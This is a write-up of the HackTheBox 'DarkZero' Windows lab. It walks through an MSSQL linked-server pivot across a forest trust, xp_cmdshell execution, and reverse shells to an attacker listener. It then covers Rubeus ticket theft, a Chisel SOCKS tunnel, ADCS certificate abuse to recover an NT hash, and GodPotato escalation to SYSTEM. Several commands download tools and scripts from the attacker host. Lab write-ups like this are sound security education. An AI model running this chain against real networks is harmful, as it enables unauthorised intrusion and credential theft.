Skip to content

DarkZero Writeup - HackTheBox

Hard Windows
Mohammad Meraj

Independent Security Researcher

DarkZero is an assume breach Windows target. Two forests, darkzero.htb and darkzero.ext, are joined by a bidirectional cross forest trust. I get valid credentials up front, pivot through an MSSQL linked server into the second forest where my mapped login is sysadmin, drop to a shell as the SQL service account, and finish with ADCS plus RunAsCS to reach SYSTEM.

Recon

I was handed credentials for the domain user john.w. From here on the password is referenced as $JOHNS_PASSWORD. The account authenticates over SMB, LDAP and MSSQL, so MSSQL on DC01 is the first thing worth poking.

Set the working variables:

TARGET_IP=<DC01 address>
USER=john.w

Initial Access

MSSQL on DC01

Log in to the SQL instance with Windows auth using Impacket:

┌──(kali㉿kali)-[~]
└─$ mssqlclient.py darkzero.htb/$USER:'$JOHNS_PASSWORD'@DC01.darkzero.htb -windows-auth
SQL (darkzero\john.w  guest@master)> enum_links
SRV_NAME            SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE      SRV_LOCATION
DC01                SQLNCLI            SQL Server    DC01                NULL
DC02.darkzero.ext   SQLNCLI            SQL Server    DC02.darkzero.ext   NULL

Linked Server       Local Login       Is Self Mapping   Remote Login
DC02.darkzero.ext   darkzero\john.w                 0   dc01_sql_svc

SQL > EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [DC02.darkzero.ext]
1

The mapped login is sysadmin on DC02. That is command execution waiting to happen.

Shell as svc_sql on DC02

Switch the session context onto the linked server and turn on xp_cmdshell:

SQL > use_link [DC02.darkzero.ext]
SQL > enable_xp_cmdshell
SQL > xp_cmdshell whoami
output
darkzero-ext\svc_sql
NULL

Code execution on DC02 as darkzero-ext\svc_sql. Trade the single command primitive for an interactive session with a base64 encoded PowerShell reverse shell pointed at my listener:

SQL > xp_cmdshell powershell -e <base64_reverse_shell>

Catch it on the attacker box:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp $ATTACKER_PORT

I now hold a shell as svc_sql on DC02. Next I need to turn that into SYSTEM.

Privilege Escalation

svc_sql is a service account, so the plan is to recover a usable credential for it, then relaunch as a service logon that keeps SeImpersonatePrivilege, then abuse that privilege for SYSTEM. The certificate route gives me the cleanest credential.

TGT for svc_sql with Rubeus

Upload Rubeus and pull a delegation TGT for the current context:

PS C:\Users\Guest\Desktop> .\rubeus.exe tgtdeleg /nowrap
[*] Action: Request Fake Delegation TGT (current user)
[*] base64(ticket.kirbi):
      doIFgDCCBXyg...<trimmed>...GwxEQVJLWkVSTy5FWFQ=

Convert the kirbi to a ccache on the attacker box so Impacket and Certipy can use it:

┌──(kali㉿kali)-[~]
└─$ echo <base64_ticket> | base64 -d > svc_sql.kirbi
┌──(kali㉿kali)-[~]
└─$ ticketConverter.py svc_sql.kirbi svc_sql.ccache

I have a Kerberos ticket for svc_sql, but DC02 sits on an internal network. I need routing before Certipy can reach it.

SOCKS proxy with Chisel

DC02 lives on the 172.16.20.0/24 side, unreachable directly. Stand up a reverse SOCKS tunnel through my shell.

Attacker:

┌──(kali㉿kali)-[~]
└─$ ./chisel server -p 8000 --reverse

Target:

PS C:\Users\Guest\Desktop> .\c.exe client $ATTACKER_IP:8000 R:socks

This gives me a SOCKS5 proxy on 127.0.0.1:1080. Route Certipy through it with proxychains.

Request a certificate from ADCS

Identify the CA on DC02:

SQL > xp_cmdshell certutil
Entry 0: (Local)
  Name:     "darkzero-ext-DC02-CA"
  Config:   "DC02.darkzero.ext\darkzero-ext-DC02-CA"

The default user template is enrollable by any domain user. Request a cert for svc_sql using the ccache over the tunnel:

┌──(kali㉿kali)-[~]
└─$ KRB5CCNAME=svc_sql.ccache proxychains certipy req -u svc_sql -k -no-pass \
-dc-host DC02.darkzero.ext -target DC02.darkzero.ext \
-ca darkzero-ext-DC02-CA -template user
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'svc_sql@darkzero.ext'
[*] Saving certificate and private key to 'svc_sql.pfx'

Recover the NT hash

Authenticate with the PFX. Certipy pulls a TGT and, through UnPAC the hash, the NT hash for svc_sql:

┌──(kali㉿kali)-[~]
└─$ proxychains certipy auth -pfx svc_sql.pfx -domain darkzero.ext -dc-ip 172.16.20.2
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'svc_sql.ccache'

The output hands me the svc_sql NT hash, referenced here as $SVC_SQL_HASH. That hash feeds RunAsCS.

Relaunch as a service logon with RunAsCS

The reason the credential matters: the current xp_cmdshell token does not carry the impersonation right, but a service logon for svc_sql does. Policy_Backup.inf on DC02 confirms the account holds SeServiceLogonRight:

[Privilege Rights]
SeServiceLogonRight = *S-1-5-20,svc_sql,SQLServer2005SQLBrowserUser$DC02,...

Pull RunAsCS onto the target:

PS C:\Users\Guest\Desktop> curl http://$ATTACKER_IP/RunAsCS.exe -outfile RunAsCS.exe

Spawn a process as svc_sql using the hash and a service logon type, which preserves SeImpersonatePrivilege:

PS C:\Users\Guest\Desktop> .\RunAsCS.exe -u svc_sql -p $SVC_SQL_HASH -d darkzero.ext -c "cmd.exe /c whoami" --logon-type 5

That process now runs with impersonation rights. Time to cash them in.

SeImpersonate to SYSTEM with GodPotato

Stage GodPotato and a reverse shell script:

PS C:\Users\Guest\Desktop> wget http://$ATTACKER_IP/GodPotato-NET4.exe -outfile gp.exe
PS C:\Users\Guest\Desktop> wget http://$ATTACKER_IP/shell.ps1 -outfile shell.ps1

From inside the service token context, launch GodPotato to run the shell as SYSTEM:

PS C:\Users\Guest\Desktop> New-Win32Process -Commandline 'C:\programdata\gp.exe -cmd "powershell C:\programdata\shell.ps1 2>&1"' -token $token

Catch the callback:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp $ATTACKER_PORT
Connection received

PS C:\Windows\system32> whoami
nt authority\system

SYSTEM on DC02. User was svc_sql via the linked server pivot, root is SYSTEM via ADCS plus service logon plus GodPotato.

Notes

The chain hinges on two misconfigurations. The MSSQL linked server maps a low privilege user to a sysadmin login across the forest trust, which turns a single set of provided creds into code execution on the far DC. Second, the user certificate template is enrollable by any domain user, so a delegation TGT is enough to mint a certificate and unpack the service account hash. From there the service account already carrying SeServiceLogonRight and SeImpersonatePrivilege makes the final hop to SYSTEM routine.